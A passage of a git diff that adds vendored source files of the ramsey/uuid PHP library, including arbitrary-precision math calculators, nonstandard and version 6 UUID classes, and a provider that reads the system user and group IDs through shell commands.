UndefinedInterfaceMethod + * @psalm-suppress DeprecatedMethod + * @psalm-suppress MixedArgument + * @psalm-suppress MixedMethodCall + */ + public function getLeastSignificantBits(): string + { + $instance = ($this->unwrapped ?? $this->unwrap()); + + return $instance->getNumberConverter() + ->fromHex(substr($instance->getHex()->toString(), 16)); + } + + /** + * @deprecated This method will be removed in 5.0.0. There is no direct + * alternative, but the same information may be obtained by splitting + * in half the value returned by {@see UuidInterface::getHex()}. + * + * @psalm-suppress UndefinedInterfaceMethod + * @psalm-suppress DeprecatedMethod + * @psalm-suppress MixedArgument + * @psalm-suppress MixedMethodCall + */ + public function getMostSignificantBits(): string + { + $instance = ($this->unwrapped ?? $this->unwrap()); + + return $instance->getNumberConverter() + ->fromHex(substr($instance->getHex()->toString(), 0, 16)); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getNode()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + * + * @psalm-suppress UndefinedInterfaceMethod + * @psalm-suppress DeprecatedMethod + * @psalm-suppress MixedArgument + * @psalm-suppress MixedMethodCall + */ + public function getNode(): string + { + $instance = ($this->unwrapped ?? $this->unwrap()); + + return $instance->getNumberConverter() + ->fromHex( + $instance->getFields() + ->getNode() + ->toString() + ); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getTimeHiAndVersion()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + * + * @psalm-suppress UndefinedInterfaceMethod + * @psalm-suppress DeprecatedMethod + * @psalm-suppress MixedArgument + * @psalm-suppress MixedMethodCall + */ + public function getTimeHiAndVersion(): string + { + $instance = ($this->unwrapped ?? $this->unwrap()); + + return $instance->getNumberConverter() + ->fromHex( + $instance->getFields() + ->getTimeHiAndVersion() + ->toString() + ); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getTimeLow()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + * + * @psalm-suppress UndefinedInterfaceMethod + * @psalm-suppress DeprecatedMethod + * @psalm-suppress MixedArgument + * @psalm-suppress MixedMethodCall + */ + public function getTimeLow(): string + { + $instance = ($this->unwrapped ?? $this->unwrap()); + + return $instance->getNumberConverter() + ->fromHex( + $instance->getFields() + ->getTimeLow() + ->toString() + ); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getTimeMid()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + * + * @psalm-suppress UndefinedInterfaceMethod + * @psalm-suppress DeprecatedMethod + * @psalm-suppress MixedArgument + * @psalm-suppress MixedMethodCall + */ + public function getTimeMid(): string + { + $instance = ($this->unwrapped ?? $this->unwrap()); + + return $instance->getNumberConverter() + ->fromHex( + $instance->getFields() + ->getTimeMid() + ->toString() + ); + } + + /** + * @deprecated Use {@see UuidInterface::getFields()} to get a + * {@see FieldsInterface} instance. If it is a {@see Rfc4122FieldsInterface} + * instance, you may call {@see Rfc4122FieldsInterface::getTimestamp()} + * and use the arbitrary-precision math library of your choice to + * convert it to a string integer. + * + * @psalm-suppress UndefinedInterfaceMethod + * @psalm-suppress DeprecatedMethod + * @psalm-suppress MixedArgument + * @psalm-suppress MixedMethodCall + */ + public function getTimestamp(): string + { + $instance = ($this->unwrapped ?? $this->unwrap()); + $fields = $instance->getFields(); + + if ($fields->getVersion() !== 1) { + throw new UnsupportedOperationException('Not a time-based UUID'); + } + + return $instance->getNumberConverter() + ->fromHex($fields->getTimestamp()->toString()); + } + + public function toUuidV1(): UuidV1 + { + $instance = ($this->unwrapped ?? $this->unwrap()); + + if ($instance instanceof UuidV1) { + return $instance; + } + + assert($instance instanceof UuidV6); + + return $instance->toUuidV1(); + } + + public function toUuidV6(): UuidV6 + { + $instance = ($this->unwrapped ?? $this->unwrap()); + + assert($instance instanceof UuidV6); + + return $instance; + } + + /** + * @psalm-suppress ImpureMethodCall the retrieval of the factory is a clear violation of purity here: this is a + * known pitfall of the design of this library, where a value object contains + * a mutable reference to a factory. We use a fixed factory here, so the violation + * will not have real-world effects, as this object is only instantiated with the + * default factory settings/features. + * @psalm-suppress InaccessibleProperty property {@see $unwrapped} is used as a cache: we don't expose it to the + * outside world, so we should be fine here. + */ + private function unwrap(): UuidInterface + { + return $this->unwrapped = (new UuidFactory()) + ->fromString($this->uuid); + } +} diff --git a/vendor/ramsey/uuid/src/Math/BrickMathCalculator.php b/vendor/ramsey/uuid/src/Math/BrickMathCalculator.php new file mode 100644 index 000000000..f2d86788c --- /dev/null +++ b/vendor/ramsey/uuid/src/Math/BrickMathCalculator.php @@ -0,0 +1,144 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Math; + +use Brick\Math\BigDecimal; +use Brick\Math\BigInteger; +use Brick\Math\Exception\MathException; +use Brick\Math\RoundingMode as BrickMathRounding; +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Type\Decimal; +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Integer as IntegerObject; +use Ramsey\Uuid\Type\NumberInterface; + +/** + * A calculator using the brick/math library for arbitrary-precision arithmetic + * + * @psalm-immutable + */ +final class BrickMathCalculator implements CalculatorInterface +{ + private const ROUNDING_MODE_MAP = [ + RoundingMode::UNNECESSARY => BrickMathRounding::UNNECESSARY, + RoundingMode::UP => BrickMathRounding::UP, + RoundingMode::DOWN => BrickMathRounding::DOWN, + RoundingMode::CEILING => BrickMathRounding::CEILING, + RoundingMode::FLOOR => BrickMathRounding::FLOOR, + RoundingMode::HALF_UP => BrickMathRounding::HALF_UP, + RoundingMode::HALF_DOWN => BrickMathRounding::HALF_DOWN, + RoundingMode::HALF_CEILING => BrickMathRounding::HALF_CEILING, + RoundingMode::HALF_FLOOR => BrickMathRounding::HALF_FLOOR, + RoundingMode::HALF_EVEN => BrickMathRounding::HALF_EVEN, + ]; + + public function add(NumberInterface $augend, NumberInterface ...$addends): NumberInterface + { + $sum = BigInteger::of($augend->toString()); + + foreach ($addends as $addend) { + $sum = $sum->plus($addend->toString()); + } + + return new IntegerObject((string) $sum); + } + + public function subtract(NumberInterface $minuend, NumberInterface ...$subtrahends): NumberInterface + { + $difference = BigInteger::of($minuend->toString()); + + foreach ($subtrahends as $subtrahend) { + $difference = $difference->minus($subtrahend->toString()); + } + + return new IntegerObject((string) $difference); + } + + public function multiply(NumberInterface $multiplicand, NumberInterface ...$multipliers): NumberInterface + { + $product = BigInteger::of($multiplicand->toString()); + + foreach ($multipliers as $multiplier) { + $product = $product->multipliedBy($multiplier->toString()); + } + + return new IntegerObject((string) $product); + } + + public function divide( + int $roundingMode, + int $scale, + NumberInterface $dividend, + NumberInterface ...$divisors + ): NumberInterface { + $brickRounding = $this->getBrickRoundingMode($roundingMode); + + $quotient = BigDecimal::of($dividend->toString()); + + foreach ($divisors as $divisor) { + $quotient = $quotient->dividedBy($divisor->toString(), $scale, $brickRounding); + } + + if ($scale === 0) { + return new IntegerObject((string) $quotient->toBigInteger()); + } + + return new Decimal((string) $quotient); + } + + public function fromBase(string $value, int $base): IntegerObject + { + try { + return new IntegerObject((string) BigInteger::fromBase($value, $base)); + } catch (MathException | \InvalidArgumentException $exception) { + throw new InvalidArgumentException( + $exception->getMessage(), + (int) $exception->getCode(), + $exception + ); + } + } + + public function toBase(IntegerObject $value, int $base): string + { + try { + return BigInteger::of($value->toString())->toBase($base); + } catch (MathException | \InvalidArgumentException $exception) { + throw new InvalidArgumentException( + $exception->getMessage(), + (int) $exception->getCode(), + $exception + ); + } + } + + public function toHexadecimal(IntegerObject $value): Hexadecimal + { + return new Hexadecimal($this->toBase($value, 16)); + } + + public function toInteger(Hexadecimal $value): IntegerObject + { + return $this->fromBase($value->toString(), 16); + } + + /** + * Maps ramsey/uuid rounding modes to those used by brick/math + */ + private function getBrickRoundingMode(int $roundingMode): int + { + return self::ROUNDING_MODE_MAP[$roundingMode] ?? 0; + } +} diff --git a/vendor/ramsey/uuid/src/Math/CalculatorInterface.php b/vendor/ramsey/uuid/src/Math/CalculatorInterface.php new file mode 100644 index 000000000..f03645d0f --- /dev/null +++ b/vendor/ramsey/uuid/src/Math/CalculatorInterface.php @@ -0,0 +1,106 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Math; + +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Integer as IntegerObject; +use Ramsey\Uuid\Type\NumberInterface; + +/** + * A calculator performs arithmetic operations on numbers + * + * @psalm-immutable + */ +interface CalculatorInterface +{ + /** + * Returns the sum of all the provided parameters + * + * @param NumberInterface $augend The first addend (the integer being added to) + * @param NumberInterface ...$addends The additional integers to a add to the augend + * + * @return NumberInterface The sum of all the parameters + */ + public function add(NumberInterface $augend, NumberInterface ...$addends): NumberInterface; + + /** + * Returns the difference of all the provided parameters + * + * @param NumberInterface $minuend The integer being subtracted from + * @param NumberInterface ...$subtrahends The integers to subtract from the minuend + * + * @return NumberInterface The difference after subtracting all parameters + */ + public function subtract(NumberInterface $minuend, NumberInterface ...$subtrahends): NumberInterface; + + /** + * Returns the product of all the provided parameters + * + * @param NumberInterface $multiplicand The integer to be multiplied + * @param NumberInterface ...$multipliers The factors by which to multiply the multiplicand + * + * @return NumberInterface The product of multiplying all the provided parameters + */ + public function multiply(NumberInterface $multiplicand, NumberInterface ...$multipliers): NumberInterface; + + /** + * Returns the quotient of the provided parameters divided left-to-right + * + * @param int $roundingMode The RoundingMode constant to use for this operation + * @param int $scale The scale to use for this operation + * @param NumberInterface $dividend The integer to be divided + * @param NumberInterface ...$divisors The integers to divide $dividend by, in + * the order in which the division operations should take place + * (left-to-right) + * + * @return NumberInterface The quotient of dividing the provided parameters left-to-right + */ + public function divide( + int $roundingMode, + int $scale, + NumberInterface $dividend, + NumberInterface ...$divisors + ): NumberInterface; + + /** + * Converts a value from an arbitrary base to a base-10 integer value + * + * @param string $value The value to convert + * @param int $base The base to convert from (i.e., 2, 16, 32, etc.) + * + * @return IntegerObject The base-10 integer value of the converted value + */ + public function fromBase(string $value, int $base): IntegerObject; + + /** + * Converts a base-10 integer value to an arbitrary base + * + * @param IntegerObject $value The integer value to convert + * @param int $base The base to convert to (i.e., 2, 16, 32, etc.) + * + * @return string The value represented in the specified base + */ + public function toBase(IntegerObject $value, int $base): string; + + /** + * Converts an Integer instance to a Hexadecimal instance + */ + public function toHexadecimal(IntegerObject $value): Hexadecimal; + + /** + * Converts a Hexadecimal instance to an Integer instance + */ + public function toInteger(Hexadecimal $value): IntegerObject; +} diff --git a/vendor/ramsey/uuid/src/Math/RoundingMode.php b/vendor/ramsey/uuid/src/Math/RoundingMode.php new file mode 100644 index 000000000..e710270d0 --- /dev/null +++ b/vendor/ramsey/uuid/src/Math/RoundingMode.php @@ -0,0 +1,146 @@ += 0.5; otherwise, behaves + * as for DOWN. Note that this is the rounding mode commonly taught at + * school. + */ + public const HALF_UP = 5; + + /** + * Rounds towards "nearest neighbor" unless both neighbors are equidistant, + * in which case round down. + * + * Behaves as for UP if the discarded fraction is > 0.5; otherwise, behaves + * as for DOWN. + */ + public const HALF_DOWN = 6; + + /** + * Rounds towards "nearest neighbor" unless both neighbors are equidistant, + * in which case round towards positive infinity. + * + * If the result is positive, behaves as for HALF_UP; if negative, behaves + * as for HALF_DOWN. + */ + public const HALF_CEILING = 7; + + /** + * Rounds towards "nearest neighbor" unless both neighbors are equidistant, + * in which case round towards negative infinity. + * + * If the result is positive, behaves as for HALF_DOWN; if negative, behaves + * as for HALF_UP. + */ + public const HALF_FLOOR = 8; + + /** + * Rounds towards the "nearest neighbor" unless both neighbors are + * equidistant, in which case rounds towards the even neighbor. + * + * Behaves as for HALF_UP if the digit to the left of the discarded fraction + * is odd; behaves as for HALF_DOWN if it's even. + * + * Note that this is the rounding mode that statistically minimizes + * cumulative error when applied repeatedly over a sequence of calculations. + * It is sometimes known as "Banker's rounding", and is chiefly used in the + * USA. + */ + public const HALF_EVEN = 9; +} diff --git a/vendor/ramsey/uuid/src/Nonstandard/Fields.php b/vendor/ramsey/uuid/src/Nonstandard/Fields.php new file mode 100644 index 000000000..927bc6a26 --- /dev/null +++ b/vendor/ramsey/uuid/src/Nonstandard/Fields.php @@ -0,0 +1,133 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Nonstandard; + +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Fields\SerializableFieldsTrait; +use Ramsey\Uuid\Rfc4122\FieldsInterface; +use Ramsey\Uuid\Rfc4122\VariantTrait; +use Ramsey\Uuid\Type\Hexadecimal; + +use function bin2hex; +use function dechex; +use function hexdec; +use function sprintf; +use function str_pad; +use function strlen; +use function substr; + +use const STR_PAD_LEFT; + +/** + * Nonstandard UUID fields do not conform to the RFC 4122 standard + * + * Since some systems may create nonstandard UUIDs, this implements the + * Rfc4122\FieldsInterface, so that functionality of a nonstandard UUID is not + * degraded, in the event these UUIDs are expected to contain RFC 4122 fields. + * + * Internally, this class represents the fields together as a 16-byte binary + * string. + * + * @psalm-immutable + */ +final class Fields implements FieldsInterface +{ + use SerializableFieldsTrait; + use VariantTrait; + + /** + * @var string + */ + private $bytes; + + /** + * @param string $bytes A 16-byte binary string representation of a UUID + * + * @throws InvalidArgumentException if the byte string is not exactly 16 bytes + */ + public function __construct(string $bytes) + { + if (strlen($bytes) !== 16) { + throw new InvalidArgumentException( + 'The byte string must be 16 bytes long; ' + . 'received ' . strlen($bytes) . ' bytes' + ); + } + + $this->bytes = $bytes; + } + + public function getBytes(): string + { + return $this->bytes; + } + + public function getClockSeq(): Hexadecimal + { + $clockSeq = hexdec(bin2hex(substr($this->bytes, 8, 2))) & 0x3fff; + + return new Hexadecimal(str_pad(dechex($clockSeq), 4, '0', STR_PAD_LEFT)); + } + + public function getClockSeqHiAndReserved(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 8, 1))); + } + + public function getClockSeqLow(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 9, 1))); + } + + public function getNode(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 10))); + } + + public function getTimeHiAndVersion(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 6, 2))); + } + + public function getTimeLow(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 0, 4))); + } + + public function getTimeMid(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 4, 2))); + } + + public function getTimestamp(): Hexadecimal + { + return new Hexadecimal(sprintf( + '%03x%04s%08s', + hexdec($this->getTimeHiAndVersion()->toString()) & 0x0fff, + $this->getTimeMid()->toString(), + $this->getTimeLow()->toString() + )); + } + + public function getVersion(): ?int + { + return null; + } + + public function isNil(): bool + { + return false; + } +} diff --git a/vendor/ramsey/uuid/src/Nonstandard/Uuid.php b/vendor/ramsey/uuid/src/Nonstandard/Uuid.php new file mode 100644 index 000000000..715f82554 --- /dev/null +++ b/vendor/ramsey/uuid/src/Nonstandard/Uuid.php @@ -0,0 +1,37 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Nonstandard; + +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Uuid as BaseUuid; + +/** + * Nonstandard\Uuid is a UUID that doesn't conform to RFC 4122 + * + * @psalm-immutable + */ +final class Uuid extends BaseUuid +{ + public function __construct( + Fields $fields, + NumberConverterInterface $numberConverter, + CodecInterface $codec, + TimeConverterInterface $timeConverter + ) { + parent::__construct($fields, $numberConverter, $codec, $timeConverter); + } +} diff --git a/vendor/ramsey/uuid/src/Nonstandard/UuidBuilder.php b/vendor/ramsey/uuid/src/Nonstandard/UuidBuilder.php new file mode 100644 index 000000000..0c8927738 --- /dev/null +++ b/vendor/ramsey/uuid/src/Nonstandard/UuidBuilder.php @@ -0,0 +1,88 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Nonstandard; + +use Ramsey\Uuid\Builder\UuidBuilderInterface; +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Exception\UnableToBuildUuidException; +use Ramsey\Uuid\UuidInterface; +use Throwable; + +/** + * Nonstandard\UuidBuilder builds instances of Nonstandard\Uuid + * + * @psalm-immutable + */ +class UuidBuilder implements UuidBuilderInterface +{ + /** + * @var NumberConverterInterface + */ + private $numberConverter; + + /** + * @var TimeConverterInterface + */ + private $timeConverter; + + /** + * @param NumberConverterInterface $numberConverter The number converter to + * use when constructing the Nonstandard\Uuid + * @param TimeConverterInterface $timeConverter The time converter to use + * for converting timestamps extracted from a UUID to Unix timestamps + */ + public function __construct( + NumberConverterInterface $numberConverter, + TimeConverterInterface $timeConverter + ) { + $this->numberConverter = $numberConverter; + $this->timeConverter = $timeConverter; + } + + /** + * Builds and returns a Nonstandard\Uuid + * + * @param CodecInterface $codec The codec to use for building this instance + * @param string $bytes The byte string from which to construct a UUID + * + * @return Uuid The Nonstandard\UuidBuilder returns an instance of + * Nonstandard\Uuid + * + * @psalm-pure + */ + public function build(CodecInterface $codec, string $bytes): UuidInterface + { + try { + return new Uuid( + $this->buildFields($bytes), + $this->numberConverter, + $codec, + $this->timeConverter + ); + } catch (Throwable $e) { + throw new UnableToBuildUuidException($e->getMessage(), (int) $e->getCode(), $e); + } + } + + /** + * Proxy method to allow injecting a mock, for testing + */ + protected function buildFields(string $bytes): Fields + { + return new Fields($bytes); + } +} diff --git a/vendor/ramsey/uuid/src/Nonstandard/UuidV6.php b/vendor/ramsey/uuid/src/Nonstandard/UuidV6.php new file mode 100644 index 000000000..05586b3eb --- /dev/null +++ b/vendor/ramsey/uuid/src/Nonstandard/UuidV6.php @@ -0,0 +1,133 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Nonstandard; + +use DateTimeImmutable; +use DateTimeInterface; +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Exception\DateTimeException; +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Lazy\LazyUuidFromString; +use Ramsey\Uuid\Rfc4122\FieldsInterface as Rfc4122FieldsInterface; +use Ramsey\Uuid\Rfc4122\UuidInterface; +use Ramsey\Uuid\Rfc4122\UuidV1; +use Ramsey\Uuid\Uuid; +use Throwable; + +use function hex2bin; +use function str_pad; +use function substr; + +use const STR_PAD_LEFT; + +/** + * Ordered-time, or version 6, UUIDs include timestamp, clock sequence, and node + * values that are combined into a 128-bit unsigned integer + * + * @link https://github.com/uuid6/uuid6-ietf-draft UUID version 6 IETF draft + * @link http://gh.peabody.io/uuidv6/ "Version 6" UUIDs + * + * @psalm-immutable + */ +final class UuidV6 extends Uuid implements UuidInterface +{ + /** + * Creates a version 6 (time-based) UUID + * + * @param Rfc4122FieldsInterface $fields The fields from which to construct a UUID + * @param NumberConverterInterface $numberConverter The number converter to use + * for converting hex values to/from integers + * @param CodecInterface $codec The codec to use when encoding or decoding + * UUID strings + * @param TimeConverterInterface $timeConverter The time converter to use + * for converting timestamps extracted from a UUID to unix timestamps + */ + public function __construct( + Rfc4122FieldsInterface $fields, + NumberConverterInterface $numberConverter, + CodecInterface $codec, + TimeConverterInterface $timeConverter + ) { + if ($fields->getVersion() !== Uuid::UUID_TYPE_PEABODY) { + throw new InvalidArgumentException( + 'Fields used to create a UuidV6 must represent a ' + . 'version 6 (ordered-time) UUID' + ); + } + + parent::__construct($fields, $numberConverter, $codec, $timeConverter); + } + + /** + * Returns a DateTimeInterface object representing the timestamp associated + * with the UUID + * + * @return DateTimeImmutable A PHP DateTimeImmutable instance representing + * the timestamp of a version 6 UUID + */ + public function getDateTime(): DateTimeInterface + { + $time = $this->timeConverter->convertTime($this->fields->getTimestamp()); + + try { + return new DateTimeImmutable( + '@' + . $time->getSeconds()->toString() + . '.' + . str_pad($time->getMicroseconds()->toString(), 6, '0', STR_PAD_LEFT) + ); + } catch (Throwable $e) { + throw new DateTimeException($e->getMessage(), (int) $e->getCode(), $e); + } + } + + /** + * Converts this UUID into an instance of a version 1 UUID + */ + public function toUuidV1(): UuidV1 + { + $hex = $this->getHex()->toString(); + $hex = substr($hex, 7, 5) + . substr($hex, 13, 3) + . substr($hex, 3, 4) + . '1' . substr($hex, 0, 3) + . substr($hex, 16); + + /** @var LazyUuidFromString $uuid */ + $uuid = Uuid::fromBytes((string) hex2bin($hex)); + + return $uuid->toUuidV1(); + } + + /** + * Converts a version 1 UUID into an instance of a version 6 UUID + */ + public static function fromUuidV1(UuidV1 $uuidV1): UuidV6 + { + $hex = $uuidV1->getHex()->toString(); + $hex = substr($hex, 13, 3) + . substr($hex, 8, 4) + . substr($hex, 0, 5) + . '6' . substr($hex, 5, 3) + . substr($hex, 16); + + /** @var LazyUuidFromString $uuid */ + $uuid = Uuid::fromBytes((string) hex2bin($hex)); + + return $uuid->toUuidV6(); + } +} diff --git a/vendor/ramsey/uuid/src/Provider/Dce/SystemDceSecurityProvider.php b/vendor/ramsey/uuid/src/Provider/Dce/SystemDceSecurityProvider.php new file mode 100644 index 000000000..6d6240b7a --- /dev/null +++ b/vendor/ramsey/uuid/src/Provider/Dce/SystemDceSecurityProvider.php @@ -0,0 +1,234 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Provider\Dce; + +use Ramsey\Uuid\Exception\DceSecurityException; +use Ramsey\Uuid\Provider\DceSecurityProviderInterface; +use Ramsey\Uuid\Type\Integer as IntegerObject; + +use function escapeshellarg; +use function preg_split; +use function str_getcsv; +use function strpos; +use function strrpos; +use function strtolower; +use function strtoupper; +use function substr; +use function trim; + +use const PREG_SPLIT_NO_EMPTY; + +/** + * SystemDceSecurityProvider retrieves the user or group identifiers from the system + */ +class SystemDceSecurityProvider implements DceSecurityProviderInterface +{ + /** + * @throws DceSecurityException if unable to get a user identifier + * + * @inheritDoc + */ + public function getUid(): IntegerObject + { + static $uid = null; + + if ($uid instanceof IntegerObject) { + return $uid; + } + + if ($uid === null) { + $uid = $this->getSystemUid(); + } + + if ($uid === '') { + throw new DceSecurityException( + 'Unable to get a user identifier using the system DCE ' + . 'Security provider; please provide a custom identifier or ' + . 'use a different provider' + ); + } + + $uid = new IntegerObject($uid); + + return $uid; + } + + /** + * @throws DceSecurityException if unable to get a group identifier + * + * @inheritDoc + */ + public function getGid(): IntegerObject + { + static $gid = null; + + if ($gid instanceof IntegerObject) { + return $gid; + } + + if ($gid === null) { + $gid = $this->getSystemGid(); + } + + if ($gid === '') { + throw new DceSecurityException( + 'Unable to get a group identifier using the system DCE ' + . 'Security provider; please provide a custom identifier or ' + . 'use a different provider' + ); + } + + $gid = new IntegerObject($gid); + + return $gid; + } + + /** + * Returns the UID from the system + */ + private function getSystemUid(): string + { + if (!$this->hasShellExec()) { + return ''; + } + + switch ($this->getOs()) { + case 'WIN': + return $this->getWindowsUid(); + case 'DAR': + case 'FRE': + case 'LIN': + default: + return trim((string) shell_exec('id -u')); + } + } + + /** + * Returns the GID from the system + */ + private function getSystemGid(): string + { + if (!$this->hasShellExec()) { + return ''; + } + + switch ($this->getOs()) { + case 'WIN': + return $this->getWindowsGid(); + case 'DAR': + case 'FRE': + case 'LIN': + default: + return trim((string) shell_exec('id -g')); + } + } + + /** + * Returns true if shell_exec() is available for use + */ + private function hasShellExec(): bool + { + $disabledFunctions = strtolower((string) ini_get('disable_functions')); + + return strpos($disabledFunctions, 'shell_exec') === false; + } + + /** + * Returns the PHP_OS string + */ + private function getOs(): string + { + return strtoupper(substr(constant('PHP_OS'), 0, 3)); + } + + /** + * Returns the user identifier for a user on a Windows system + * + * Windows does not have the same concept as an effective POSIX UID for the + * running script. Instead, each user is uniquely identified by an SID + * (security identifier). The SID includes three 32-bit unsigned integers + * that make up a unique domain identifier, followed by an RID (relative + * identifier) that we will use as the UID. The primary caveat is that this + * UID may not be unique to the system, since it is, instead, unique to the + * domain. + * + * @link https://www.lifewire.com/what-is-an-sid-number-2626005 What Is an SID Number? + * @link https://bit.ly/30vE7NM Well-known SID Structures + * @link https://bit.ly/2FWcYKJ Well-known security identifiers in Windows operating systems + * @link https://www.windows-commandline.com/get-sid-of-user/ Get SID of user + */ + private function getWindowsUid(): string + { + $response = shell_exec('whoami /user /fo csv /nh'); + + if ($response === null) { + return ''; + } + + $sid = str_getcsv(trim((string) $response))[1] ?? ''; + + if (($lastHyphen = strrpos($sid, '-')) === false) { + return ''; + } + + return trim(substr($sid, $lastHyphen + 1)); + } + + /** + * Returns a group identifier for a user on a Windows system + * + * Since Windows does not have the same concept as an effective POSIX GID + * for the running script, we will get the local group memberships for the + * user running the script. Then, we will get the SID (security identifier) + * for the first group that appears in that list. Finally, we will return + * the RID (relative identifier) for the group and use that as the GID. + * + * @link https://www.windows-commandline.com/list-of-user-groups-command-line/ List of user groups command line + */ + private function getWindowsGid(): string + { + $response = shell_exec('net user %username% | findstr /b /i "Local Group Memberships"'); + + if ($response === null) { + return ''; + } + + /** @var string[] $userGroups */ + $userGroups = preg_split('/\s{2,}/', (string) $response, -1, PREG_SPLIT_NO_EMPTY); + + $firstGroup = trim($userGroups[1] ?? '', "* \t\n\r\0\x0B"); + + if ($firstGroup === '') { + return ''; + } + + $response = shell_exec('wmic group get name,sid | findstr /b /i ' . escapeshellarg($firstGroup)); + + if ($response === null) { + return ''; + } + + /** @var string[] $userGroup */ + $userGroup = preg_split('/\s{2,}/', (string) $response, -1, PREG_SPLIT_NO_EMPTY); + + $sid = $userGroup[1] ?? ''; + + if (($lastHyphen = strrpos($sid, '-')) === false) { + return ''; + } + + return trim((string) substr($sid, $lastHyphen + 1)); + } +} diff --git a/vendor/ramsey/uuid/src/Provider/DceSecurityProviderInterface.php b/vendor/ramsey/uuid/src/Provider/DceSecurityProviderInterface.php new file mode 100644 index 000000000..8325da696 --- /dev/null +++ b/vendor/ramsey/uuid/src/Provider/DceSecurityProviderInterface.php @@ -0,0 +1,41 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Provider; + +use Ramsey\Uuid\Rfc4122\UuidV2; +use Ramsey\Uuid\Type\Integer as IntegerObject; + +/** + * A DCE provider provides access to local domain identifiers for version 2, + * DCE Security, UUIDs + * + * @see UuidV2 + */ +interface DceSecurityProviderInterface +{ + /** + * Returns a user identifier for the system + * + * @link https://en.wikipedia.org/wiki/User_identifier User identifier + */ + public function getUid(): IntegerObject; + + /** + * Returns a group identifier for the system + * + * @link https://en.wikipedia.org/wiki/Group_identifier Group identifier + */ + public function getGid(): IntegerObject; +} diff --git a/vendor/ramsey/uuid/src/Provider/Node/FallbackNodeProvider.php b/vendor/ramsey/uuid/src/Provider/Node/FallbackNodeProvider.php new file mode 100644 index 000000000..cad01045c --- /dev/null +++ b/vendor/ramsey/uuid/src/Provider/Node/FallbackNodeProvider.php @@ -0,0 +1,60 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Provider\Node; + +use Ramsey\Uuid\Exception\NodeException; +use Ramsey\Uuid\Provider\NodeProviderInterface; +use Ramsey\Uuid\Type\Hexadecimal; + +/** + * FallbackNodeProvider retrieves the system node ID by stepping through a list + * of providers until a node ID can be obtained + */ +class FallbackNodeProvider implements NodeProviderInterface +{ + /** + * @var NodeProviderCollection + */ + private $nodeProviders; + + /** + * @param NodeProviderCollection $providers Array of node providers + */ + public function __construct(NodeProviderCollection $providers) + { + $this->nodeProviders = $providers; + } + + public function getNode(): Hexadecimal + { + $lastProviderException = null; + + foreach ($this->nodeProviders as $provider) { + try { + return $provider->getNode(); + } catch (NodeException $exception) { + $lastProviderException = $exception; + + continue; + } + } + + throw new NodeException( + 'Unable to find a suitable node provider', + 0, + $lastProviderException + ); + } +} diff --git a/vendor/ramsey/uuid/src/Provider/Node/NodeProviderCollection.php b/vendor/ramsey/uuid/src/Provider/Node/NodeProviderCollection.php new file mode 100644 index 000000000..536cb6034 --- /dev/null +++ b/vendor/ramsey/uuid/src/Provider/Node/NodeProviderCollection.php @@ -0,0 +1,61 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Provider\Node; + +use Ramsey\Collection\AbstractCollection; +use Ramsey\Uuid\Provider\NodeProviderInterface; +use Ramsey\Uuid\Type\Hexadecimal; + +/** + * A collection of NodeProviderInterface objects + * + * @extends AbstractCollection + */ +class NodeProviderCollection extends AbstractCollection +{ + public function getType(): string + { + return NodeProviderInterface::class; + } + + /** + * Re-constructs the object from its serialized form + * + * @param string $serialized The serialized PHP string to unserialize into + * a UuidInterface instance + * + * @phpcsSuppress 